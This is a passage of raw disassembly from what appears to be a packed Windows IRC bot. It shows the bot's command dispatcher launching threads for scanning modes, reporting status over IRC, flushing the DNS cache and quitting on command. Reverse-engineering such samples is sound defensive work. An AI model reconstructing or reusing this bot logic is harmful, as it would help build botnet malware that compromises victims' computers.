lea eax, [ebp+var_FF0]
push ebx
push eax
push offset sub_4174AA
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_F6C]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_403706
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42EA98
jmp loc_40823D
; ---------------------------------------------------------------------------
loc_4036FE: ; CODE XREF: sub_401AA1+1C6Bj
push 32h
call dword_428080 ; Sleep
loc_403706: ; CODE XREF: sub_401AA1+1C4Aj
cmp [ebp+var_F60], ebx
jz short loc_4036FE
jmp loc_402399
; ---------------------------------------------------------------------------
loc_403713: ; CODE XREF: sub_401AA1:loc_4035F0j
; sub_401AA1+1B64j
mov al, byte_43423A
mov [ebp+arg_0], ebx
cmp al, bl
mov edx, offset byte_43423A
jz loc_401F20
mov ecx, edx
loc_40372A: ; CODE XREF: sub_401AA1+1C91j
inc [ebp+arg_0]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_40372A
cmp al, bl
jz loc_401F20
mov [ebp+arg_18], edx
loc_40373F: ; CODE XREF: sub_401AA1+1F52j
push 0Bh
call sub_40B496
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+arg_0]
mov edx, eax
mov eax, 320h
add edx, ecx
cmp edx, eax
jle short loc_403792
push ecx
lea eax, [ebp+var_2C0]
push offset dword_42EA30
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 20h
jmp loc_4039EA
; ---------------------------------------------------------------------------
loc_403792: ; CODE XREF: sub_401AA1+1CBCj
or [ebp+var_730], 0FFFFFFFFh
cmp dword_434058, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], eax
mov [ebp+arg_0], ebx
jz short loc_4037FF
mov eax, [ebp+arg_18]
mov esi, offset dword_434058
lea edi, [eax-0Ah]
loc_4037C9: ; CODE XREF: sub_401AA1+1D40j
lea eax, [esi-28h]
push edi
push eax
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jz short loc_4037E5
inc [ebp+arg_0]
add esi, 40h
cmp [esi], ebx
jnz short loc_4037C9
jmp short loc_4037FF
; ---------------------------------------------------------------------------
loc_4037E5: ; CODE XREF: sub_401AA1+1D36j
mov eax, [ebp+arg_0]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_434058[ecx]
mov [ebp+var_74C], ecx
loc_4037FF: ; CODE XREF: sub_401AA1+1D1Bj
; sub_401AA1+1D42j
cmp [ebp+var_74C], ebx
jz loc_403A10
push 10h
lea eax, [ebp+var_2CC]
pop esi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2CC], esi
push [ebp+arg_4]
call dword_4CE2AC ; getsockname
mov al, [ebp+var_8FF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_308], eax
push [ebp+var_308]
call dword_4CE394 ; inet_ntoa
push eax
lea eax, [ebp+var_860]
push eax
call sub_41BC60
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_860]
push eax
call sub_41C4B0
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_4038A7
loc_403885: ; CODE XREF: sub_401AA1+1E04j
cmp eax, ebx
jz short loc_4038A7
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h
push eax
call sub_41C4B0
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_403885
loc_4038A7: ; CODE XREF: sub_401AA1+1DE2j
; sub_401AA1+1DE6j
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_750], eax
lea eax, [ebp+var_850]
push 80h
push eax
mov [ebp+var_720], 1
mov [ebp+var_728], esi
mov [ebp+var_724], edi
call sub_41BFF0
push offset byte_4404C4
push offset asc_42AAA4 ; "#l"
call sub_41C6E0
add esp, 14h
test eax, eax
jz short loc_403914
push offset asc_42AAA4 ; "#l"
lea eax, [ebp+var_7D0]
push 80h
push eax
call sub_41BFF0
add esp, 0Ch
jmp short loc_40391A
; ---------------------------------------------------------------------------
loc_403914: ; CODE XREF: sub_401AA1+1E56j
mov [ebp+var_7D0], bl
loc_40391A: ; CODE XREF: sub_401AA1+1E71j
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_40392C
mov eax, offset aSequential ; "Sequential"
loc_40392C: ; CODE XREF: sub_401AA1+1E84j
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+var_2C0]
loc_403952: ; DATA XREF: sub_4FBC60+16w
; sub_4FC19C+53r
push offset dword_42E970
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 0Bh
push eax
call sub_40B254
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40C485
loc_403986: ; DATA XREF: .XPack:004FB5C7w
; .XPack:004FBA0Cr ...
push ebx
push ebx
call dword_428084 ; CreateThread
loc_40398E: ; DATA XREF: sub_4FB1AB+20w
; sub_4FB21A+6w ...
mov ecx, [ebp+var_740]
imul ecx, 234h
loc_40399A: ; DATA XREF: .XPack:004FB43Cw
; .XPack:004FB97Dr
cmp eax, ebx
mov dword_44125C[ecx], eax
loc_4039A2: ; DATA XREF: .XPack:loc_4FB637w
; .XPack:004FB9F4r
jnz short loc_403A06
call dword_428094 ; RtlGetLastWin32Error
loc_4039AA: ; DATA XREF: sub_4FB164+8w
; sub_4FB164+36w ...
push eax
lea eax, [ebp+var_2C0]
push offset dword_42E910
loc_4039B6: ; DATA XREF: sub_4F9FE9+51r
push eax
call sub_41BEF6
add esp, 0Ch
loc_4039BF: ; CODE XREF: sub_401AA1+1F6Dj
cmp edi, ebx
jnz short loc_4039DD
push ebx
lea eax, [ebp+var_2C0]
loc_4039CA: ; DATA XREF: sub_4FBBE3-43w
; sub_4FBBE3-15r
push esi
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
loc_4039DD: ; CODE XREF: sub_401AA1+1F20j
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
pop ecx
loc_4039EA: ; CODE XREF: sub_401AA1+1CECj
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_40373F
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_4039FE: ; CODE XREF: sub_401AA1+1F6Bj
push 32h
call dword_428080 ; Sleep
loc_403A06: ; CODE XREF: sub_401AA1:loc_4039A2j
cmp [ebp+var_71C], ebx
jz short loc_4039FE
jmp short loc_4039BF
; ---------------------------------------------------------------------------
loc_403A10: ; CODE XREF: sub_401AA1+1D64j
push offset dword_42E8B0
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_403A1A: ; CODE XREF: sub_401AA1:loc_403560j
; sub_401AA1+1AD4j
push 5
call sub_40B496
test eax, eax
pop ecx
jle short loc_403A30
push offset unk_42E87C
jmp loc_406DDD
; ---------------------------------------------------------------------------
loc_403A30: ; CODE XREF: sub_401AA1+1F83j
mov eax, [ebp+esi+var_8C]
mov edi, 104h
cmp eax, ebx
jz short loc_403A53
push eax
lea eax, [ebp+var_2D54]
push edi
push eax
call sub_41BFF0
add esp, 0Ch
jmp short loc_403A62
; ---------------------------------------------------------------------------
loc_403A53: ; CODE XREF: sub_401AA1+1F9Dj
lea eax, [ebp+var_2D54]
push edi
push eax
push ebx
call dword_428078 ; GetModuleFileNameA
loc_403A62: ; CODE XREF: sub_401AA1+1FB0j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_403A72
mov esi, offset byte_42AA54
loc_403A72: ; CODE XREF: sub_401AA1+1FCAj
push esi
lea eax, [ebp+var_2C50]
push edi
push eax
call sub_41BFF0
mov eax, dword_42A964
push 7Fh
push [ebp+var_88]
mov [ebp+var_2B44], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B48], ebx
mov [ebp+var_2D58], eax
lea eax, [ebp+var_2B40]
push eax
call sub_41BC60
mov eax, [ebp+var_4]
mov [ebp+var_2AC0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2ABC], eax
lea eax, [ebp+var_2D54]
push eax
lea eax, [ebp+var_2C0]
push [ebp+var_2B44]
push offset unk_42E830
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 5
push eax
call sub_40B254
add esp, 34h
mov [ebp+var_2B4C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D58]
push ebx
push eax
push offset sub_412407
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_2B4C]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_403B3E
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42E7E0
jmp loc_404968
; ---------------------------------------------------------------------------
loc_403B36: ; CODE XREF: sub_401AA1+20A3j
push 32h
call dword_428080 ; Sleep
loc_403B3E: ; CODE XREF: sub_401AA1+2082j
cmp [ebp+var_2AB8], ebx
jz short loc_403B36
jmp loc_406DEB
; ---------------------------------------------------------------------------
loc_403B4B: ; CODE XREF: sub_401AA1+1A95j
; sub_401AA1+1AAAj
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403B6A
push edi
call sub_41BDE9
test eax, eax
pop ecx
jz short loc_403B6A
push edi
call sub_41BDE9
pop ecx
jmp short loc_403B6F
; ---------------------------------------------------------------------------
loc_403B6A: ; CODE XREF: sub_401AA1+20B3j
; sub_401AA1+20BEj
mov eax, dword_42A968
loc_403B6F: ; CODE XREF: sub_401AA1+20C7j
mov esi, [ebp+esi+var_88]
mov [ebp+var_36CC], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B8], eax
jz short loc_403BA2
lea eax, [ebp+var_37D0]
push esi
push eax
call sub_41BEF6
pop ecx
pop ecx
jmp short loc_403BCD
; ---------------------------------------------------------------------------
loc_403BA2: ; CODE XREF: sub_401AA1+20EEj
lea eax, [ebp+var_49F4]
push 104h
push eax
call dword_42807C ; GetSystemDirectoryA
push ebx
push ebx
lea eax, [ebp+var_4C8]
push ebx
push eax
lea eax, [ebp+var_49F4]
push eax
call sub_41C041
add esp, 14h
loc_403BCD: ; CODE XREF: sub_401AA1+20FFj
lea eax, [ebp+var_37D0]
push eax
call sub_41B650
cmp [ebp+eax+var_37D1], 5Ch
pop ecx
jnz short loc_403BF8
lea eax, [ebp+var_37D0]
push eax
call sub_41B650
pop ecx
mov [ebp+eax+var_37D1], bl
loc_403BF8: ; CODE XREF: sub_401AA1+2141j
push [ebp+var_88]
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A58]
mov [ebp+var_3A5C], esi
push 80h
push eax
call sub_41BFF0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36BC], eax
lea eax, [ebp+var_37D0]
mov [ebp+var_36C0], edi
push eax
push [ebp+var_36CC]
push esi
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_42E790
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 3
push eax
call sub_40B254
add esp, 20h
mov [ebp+var_36C4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A5C]
push ebx
push eax
push offset sub_40FDBE
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_36C4]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_403CB3
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42E740
jmp loc_403DDD
; ---------------------------------------------------------------------------
loc_403CAB: ; CODE XREF: sub_401AA1+2218j
push 32h
call dword_428080 ; Sleep
loc_403CB3: ; CODE XREF: sub_401AA1+21F7j
cmp [ebp+var_36B0], ebx
jz short loc_403CAB
jmp loc_403DEC
; ---------------------------------------------------------------------------
loc_403CC0: ; CODE XREF: sub_401AA1+1A6Bj
; sub_401AA1+1A80j
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_403CDF
push edi
call sub_41BDE9
test eax, eax
pop ecx
jz short loc_403CDF
push edi
call sub_41BDE9
pop ecx
jmp short loc_403CE4
; ---------------------------------------------------------------------------
loc_403CDF: ; CODE XREF: sub_401AA1+2228j
; sub_401AA1+2233j
mov eax, dword_42A96C
loc_403CE4: ; CODE XREF: sub_401AA1+223Cj
mov [ebp+var_1828], eax
mov eax, [ebp+esi+var_88]
cmp eax, ebx
jnz short loc_403CFB
lea eax, [ebp+var_C0]
loc_403CFB: ; CODE XREF: sub_401AA1+2252j
push eax
lea eax, [ebp+var_1968]
push 40h
push eax
call sub_41BFF0
mov esi, [ebp+esi+var_84]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403D1D
mov esi, offset byte_4404C4
loc_403D1D: ; CODE XREF: sub_401AA1+2275j
push esi
lea eax, [ebp+var_1928]
push 100h
push eax
call sub_41BFF0
push [ebp+var_88]
lea eax, [ebp+var_19E8]
push 80h
push eax
call sub_41BFF0
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 18h
mov [ebp+var_1814], eax
lea eax, [ebp+var_1968]
push eax
mov [ebp+var_19EC], esi
push [ebp+var_1828]
mov [ebp+var_1818], edi
push esi
call sub_40A8D5
pop ecx
push eax
lea eax, [ebp+var_2C0]
push offset unk_42E704
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 9
push eax
call sub_40B254
add esp, 20h
mov [ebp+var_1824], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19EC]
push ebx
push eax
push offset sub_4116E1
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_1824]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_403E12
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42E6C8
loc_403DDD: ; CODE XREF: sub_401AA1+2205j
; sub_401AA1+4C01j ...
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
add esp, 0Ch
loc_403DEC: ; CODE XREF: sub_401AA1+221Aj
; sub_401AA1+2379j ...
cmp [ebp+var_8], ebx
jnz loc_402399
push ebx
push edi
loc_403DF7: ; CODE XREF: sub_401AA1+646Dj
lea eax, [ebp+var_2C0]
push eax
push [ebp+var_88]
push esi
jmp loc_406E08
; ---------------------------------------------------------------------------
loc_403E0A: ; CODE XREF: sub_401AA1+2377j
push 32h
call dword_428080 ; Sleep
loc_403E12: ; CODE XREF: sub_401AA1+232Ej
cmp [ebp+var_1810], ebx
jz short loc_403E0A
jmp short loc_403DEC
; ---------------------------------------------------------------------------
loc_403E1C: ; CODE XREF: sub_401AA1+1A41j
; sub_401AA1+1A56j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_403E2F
push esi
call sub_41BDE9
jmp short loc_403E36
; ---------------------------------------------------------------------------
loc_403E2F: ; CODE XREF: sub_401AA1+2384j
push 0Bh
call sub_40B4B5
loc_403E36: ; CODE XREF: sub_401AA1+238Cj
cmp eax, ebx
pop ecx
jz loc_409567
push eax
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40BB95
jmp loc_404307
; ---------------------------------------------------------------------------
loc_403E56: ; CODE XREF: sub_401AA1+1A17j
; sub_401AA1+1A2Cj
mov eax, dword_4CE224
cmp eax, ebx
jz short loc_403E79
call eax ; DnsFlushResolverCache
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_403E72
push offset unk_42E6A4
jmp short loc_403E84
; ---------------------------------------------------------------------------
loc_403E72: ; CODE XREF: sub_401AA1+23C8j
push offset unk_42E678
jmp short loc_403E84
; ---------------------------------------------------------------------------
loc_403E79: ; CODE XREF: sub_401AA1+23BCj
push offset unk_42E64C
lea eax, [ebp+var_2C0]
loc_403E84: ; CODE XREF: sub_401AA1+23CFj
; sub_401AA1+23D6j ...
push 200h
push eax
call sub_41BFF0
jmp loc_406BC0
; ---------------------------------------------------------------------------
loc_403E94: ; CODE XREF: sub_401AA1+19EDj
; sub_401AA1+1A02j
call sub_40A7FD
test eax, eax
lea eax, [ebp+var_2C0]
jz short loc_403EAA
push offset unk_42E628
jmp short loc_403E84
; ---------------------------------------------------------------------------
loc_403EAA: ; CODE XREF: sub_401AA1+2400j
push offset unk_42E5FC
jmp short loc_403E84
; ---------------------------------------------------------------------------
loc_403EB1: ; CODE XREF: sub_401AA1+19C3j
; sub_401AA1+19D8j
cmp [ebp+var_8], ebx
jnz short loc_403ED0
push ebx
push [ebp+var_4]
push offset dword_42E5E4
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
loc_403ED0: ; CODE XREF: sub_401AA1+2413j
push ebx
push [ebp+var_4]
call sub_418861
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
push offset dword_42E5AC
jmp loc_4041D4
; ---------------------------------------------------------------------------
loc_403EF2: ; CODE XREF: sub_401AA1+185Aj
; sub_401AA1+186Fj
push 0Ah
call sub_40B496
test eax, eax
pop ecx
jle short loc_403F05
push offset dword_42E560
jmp short loc_403F26
; ---------------------------------------------------------------------------
loc_403F05: ; CODE XREF: sub_401AA1+245Bj
push [ebp+var_88]
push [ebp+arg_4]
call sub_41A2D6
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403F21
push offset unk_42E51C
jmp short loc_403F26
; ---------------------------------------------------------------------------
loc_403F21: ; CODE XREF: sub_401AA1+2477j
push offset unk_42E4E4
loc_403F26: ; CODE XREF: sub_401AA1+2462j
; sub_401AA1+247Ej ...
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
pop ecx
pop ecx
loc_403F34: ; CODE XREF: sub_401AA1+575Fj
; sub_401AA1+708Cj
cmp [ebp+var_8], ebx
jnz short loc_403F55
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
loc_403F4D: ; CODE XREF: sub_401AA1+6CF4j
call sub_409743
add esp, 14h
loc_403F55: ; CODE XREF: sub_401AA1+2496j
; sub_401AA1+2687j ...
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
jmp loc_4096B1
; ---------------------------------------------------------------------------
loc_403F66: ; CODE XREF: sub_401AA1+1830j
; sub_401AA1+1845j
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_40A49A
jmp loc_4041F5
; ---------------------------------------------------------------------------
loc_403F7F: ; CODE XREF: sub_401AA1+1806j
; sub_401AA1+181Bj
push [ebp+esi+var_8C]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4171BD
jmp loc_4041F5
; ---------------------------------------------------------------------------
loc_403F9C: ; CODE XREF: sub_401AA1+17DCj
; sub_401AA1+17F1j
or edi, 0FFFFFFFFh
call dword_4280B0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_0], eax
jz short loc_403FC5
push esi
call sub_41BDE9
pop ecx
mov edi, eax
loc_403FC5: ; CODE XREF: sub_401AA1+2519j
mov eax, [ebp+arg_0]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_403FDE
cmp edi, 0FFFFFFFFh
jnz loc_409567
loc_403FDE: ; CODE XREF: sub_401AA1+2532j
push ebx
call sub_41AF01
push eax
lea eax, [ebp+var_2C0]
push offset dword_42E4AC
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
loc_40400F: ; DATA XREF: .XPack0:0042A6C0o
lea eax, [ebp+var_2C0]
push eax
call sub_415F45
loc_40401B: ; CODE XREF: sub_401AA1+5DB1j
add esp, 28h
jmp loc_409567
; ---------------------------------------------------------------------------
loc_404023: ; CODE XREF: sub_401AA1+17B2j
; sub_401AA1+17C7j
push 27h
call sub_40B496
test eax, eax
pop ecx
jle short loc_404054
cmp [ebp+var_8], ebx
jnz loc_401F20
push ebx
push [ebp+var_4]
push offset dword_42E468
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
jmp loc_408B47
; ---------------------------------------------------------------------------
loc_404054: ; CODE XREF: sub_401AA1+258Cj
push [ebp+var_88]
lea eax, [ebp+var_BC4]
push 80h
push eax
call sub_41BFF0
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
mov [ebp+var_B40], ebx
jz short loc_4040B5
push esi
push offset aFull ; "full"
call sub_41C6E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4040B5
mov [ebp+var_B40], 1
loc_4040B5: ; CODE XREF: sub_401AA1+25F7j
; sub_401AA1+2608j
lea eax, [ebp+var_2C0]
push offset dword_42E420
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 27h
push eax
call sub_40B254
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_419F5D
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_404135
call dword_428094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2C0]
push offset dword_42E3C0
push eax
call sub_41BEF6
add esp, 0Ch
jmp loc_403F55
; ---------------------------------------------------------------------------
loc_40412D: ; CODE XREF: sub_401AA1+269Aj
push 32h
call dword_428080 ; Sleep
loc_404135: ; CODE XREF: sub_401AA1+266Aj
cmp [ebp+var_B34], ebx
jz short loc_40412D
jmp loc_403F55
; ---------------------------------------------------------------------------
loc_404142: ; CODE XREF: sub_401AA1+1788j
; sub_401AA1+179Dj
cmp [ebp+var_8], ebx
jnz short loc_404161
push ebx
push [ebp+var_4]
push offset dword_42E384
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 14h
loc_404161: ; CODE XREF: sub_401AA1+26A4j
push [ebp+arg_4]
call dword_4CE3A0 ; closesocket
call dword_4CE260 ; WSACleanup
call sub_4189E4
push ebx
call dword_42806C ; ExitProcess
loc_40417C: ; CODE XREF: sub_401AA1+175Ej
; sub_401AA1+1773j
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_41B0A1
pop ecx
pop ecx
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
push offset dword_42E34C
jmp short loc_4041D4
; ---------------------------------------------------------------------------
loc_4041A7: ; CODE XREF: sub_401AA1+1734j
; sub_401AA1+1749j
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B355
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
push offset dword_42E314
loc_4041D4: ; CODE XREF: sub_401AA1+244Cj
; sub_401AA1+2704j
call sub_415F45
loc_4041D9: ; CODE XREF: sub_401AA1+6DFAj
add esp, 18h
jmp loc_409567
; ---------------------------------------------------------------------------
loc_4041E1: ; CODE XREF: sub_401AA1+170Aj
; sub_401AA1+171Fj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415FE5
loc_4041F5: ; CODE XREF: sub_401AA1+3A9j
; sub_401AA1+24D9j ...
add esp, 10h
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_4041FD: ; CODE XREF: sub_401AA1+16E0j
; sub_401AA1+16F5j
cmp [ebp+var_C], ebx
mov [ebp+var_1598], bl
jz short loc_40423C
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_40423C
push esi
push [ebp+var_C]
call sub_41BF70
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40423C
push eax
push offset aS_2 ; "%s"
lea eax, [ebp+var_1598]
push 80h
push eax
call sub_41BFF0
add esp, 10h
loc_40423C: ; CODE XREF: sub_401AA1+2765j
; sub_401AA1+2770j ...
push [ebp+var_88]
lea eax, [ebp+var_1618]
push 80h
push eax
call sub_41BFF0
mov eax, [ebp+arg_4]
push offset dword_42E2E0
mov [ebp+var_161C], eax
mov eax, [ebp+var_4]
mov [ebp+var_1514], eax
mov eax, [ebp+var_8]
mov [ebp+var_1510], eax
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 25h
push eax
call sub_40B254
add esp, 20h
mov [ebp+var_1518], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_161C]
push ebx
push eax
push offset sub_416058
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_1518]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_4042DF
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset dword_42E280
jmp loc_4096AB
; ---------------------------------------------------------------------------
loc_4042D7: ; CODE XREF: sub_401AA1+2844j
push 32h
call dword_428080 ; Sleep
loc_4042DF: ; CODE XREF: sub_401AA1+2823j
cmp [ebp+var_150C], ebx
jz short loc_4042D7
jmp loc_401F20
; ---------------------------------------------------------------------------
loc_4042EC: ; CODE XREF: sub_401AA1+16B6j
; sub_401AA1+16CBj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_415ECD
push offset dword_42E248
call sub_415F45
loc_404307: ; CODE XREF: sub_401AA1+23B0j
add esp, 10h
jmp loc_409567
; ---------------------------------------------------------------------------
loc_40430F: ; CODE XREF: sub_401AA1+168Cj
; sub_401AA1+16A1j
push [ebp+var_88]
lea eax, [ebp+var_C5C]
push 80h
push eax
call sub_41BFF0
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_8C]
mov [ebp+var_C60], eax
mov eax, [ebp+var_4]
mov [ebp+var_BD4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_BD0], eax
jz short loc_404369
push offset dword_42E244
push esi
call sub_41C6E0
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_BD8], eax
jmp short loc_40436F
; ---------------------------------------------------------------------------
loc_404369: ; CODE XREF: sub_401AA1+28ACj
mov [ebp+var_BD8], ebx
loc_40436F: ; CODE XREF: sub_401AA1+28C6j
lea eax, [ebp+var_2C0]
push offset dword_42E20C
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push 28h
push eax
call sub_40B254
add esp, 14h
mov [ebp+var_BDC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C60]
push ebx
push eax
push offset sub_40B2BF
push ebx
push ebx
call dword_428084 ; CreateThread
mov ecx, [ebp+var_BDC]
imul ecx, 234h
cmp eax, ebx
mov dword_44125C[ecx], eax
jnz short loc_4043EF
call dword_428094 ; RtlGetLastWin32Error
push eax
push offset unk_42E1B8
loc_4043D3: ; CODE XREF: sub_401AA1+7530j
lea eax, [ebp+var_2C0]
push eax
call sub_41BEF6
add esp, 0Ch
jmp loc_406BE4
; ---------------------------------------------------------------------------
loc_4043E7: ; CODE XREF: sub_401AA1+2954j
push 32h
call dword_428080 ; Sleep
loc_4043EF: ; CODE XREF: sub_401AA1+2924j
cmp [ebp+var_BCC], ebx
jz short loc_4043E7
jmp loc_406BE4
; ---------------------------------------------------------------------------
loc_4043FC: ; CODE XREF: sub_401AA1+1610j
; sub_401AA1+1625j
push offset dword_42A990
lea eax, [ebp+var_2C0]
push offset dword_42E180
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 20h
jmp loc_406BE4
; ---------------------------------------------------------------------------
loc_404433: ; CODE XREF: sub_401AA1+15E6j
; sub_401AA1+15FBj
push dword_4CE04C
call sub_41AF01
push eax
lea eax, [ebp+var_2C0]
push offset dword_42E130
push eax
call sub_41BEF6
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409743
add esp, 24h
jmp loc_406BE4
; ---------------------------------------------------------------------------
loc_404471: ; CODE XREF: sub_401AA1+15BCj
; sub_401AA1+15D1j
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_4044A3
cmp [ebp+var_C], ebx
jz short loc_4044B2
push esi
push [ebp+var_C]
call sub_41BF70
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4044B2
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_4096FD
add esp, 0Ch
jmp short loc_4044B2
; ---------------------------------------------------------------------------
loc_4044A3: ; CODE XREF: sub_401AA1+29D9j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_4096FD
pop ecx
pop ecx
loc_4044B2: ; CODE XREF: sub_401AA1+29DEj
; sub_401AA1+29EDj ...
push 0FFFFFFFEh
pop eax
jmp loc_401F23
; ---------------------------------------------------------------------------
loc_4044BA: ; CODE XREF: sub_401AA1+1592j
; sub_401AA1+15A7j
